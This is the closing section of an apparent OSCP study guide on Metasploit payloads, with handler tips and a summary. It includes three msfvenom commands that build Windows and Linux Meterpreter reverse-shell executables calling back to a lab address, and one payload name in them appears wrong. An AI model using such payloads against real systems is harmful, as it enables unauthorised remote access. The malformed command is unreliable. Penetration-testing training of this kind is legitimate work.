□ Did you check for AV/EDR interference?

Pro Tips for OSCP

  1. Always use ExitOnSession false — This keeps the handler running so you can spawn multiple sessions without restarting

  2. Use -j -z flags — Run handlers in the background to manage multiple targets simultaneously

  3. Keep a payload library — Pre-generate common payloads for quick access:

    # Pre-generate common payloads
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o win_rev.exe
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o lin_rev.elf
    msfvenom -p windows/meterpreter/reverse_tcp_non_s LHOST=10.10.14.5 LPORT=4444 -f exe -o win_rev_nostage.exe
  4. Meterpreter is your friend — Use Meterpreter for post-exploitation. The local_exploit_suggester script alone can save hours of privilege escalation research.

  5. When in doubt, go smaller — If a payload is failing, try a simpler one (shell_reverse_tcp instead of meterpreter/reverse_tcp) to isolate the issue.

  6. Document your payloads — In your OSCP report, note which payload you used and why. This demonstrates understanding and helps with reproducibility.


Summary

Understanding Metasploit payload types is fundamental to success in the OSCP exam. The key takeaways are:

  • Reverse shells are preferred over bind shells in the OSCP lab due to firewall configurations
  • Meterpreter provides superior post-exploitation capabilities compared to standard shells
  • Staged payloads are the default but non-staged are more reliable for file-based delivery
  • Platform and architecture matching is critical — a mismatched payload will silently fail
  • Always have a fallback plan — prepare both staged and non-staged variants
  • Shellcode is essential for buffer overflow exploits and custom exploit development

Master these concepts, and you’ll have a solid foundation for the exploitation and post-exploitation phases of the OSCP exam.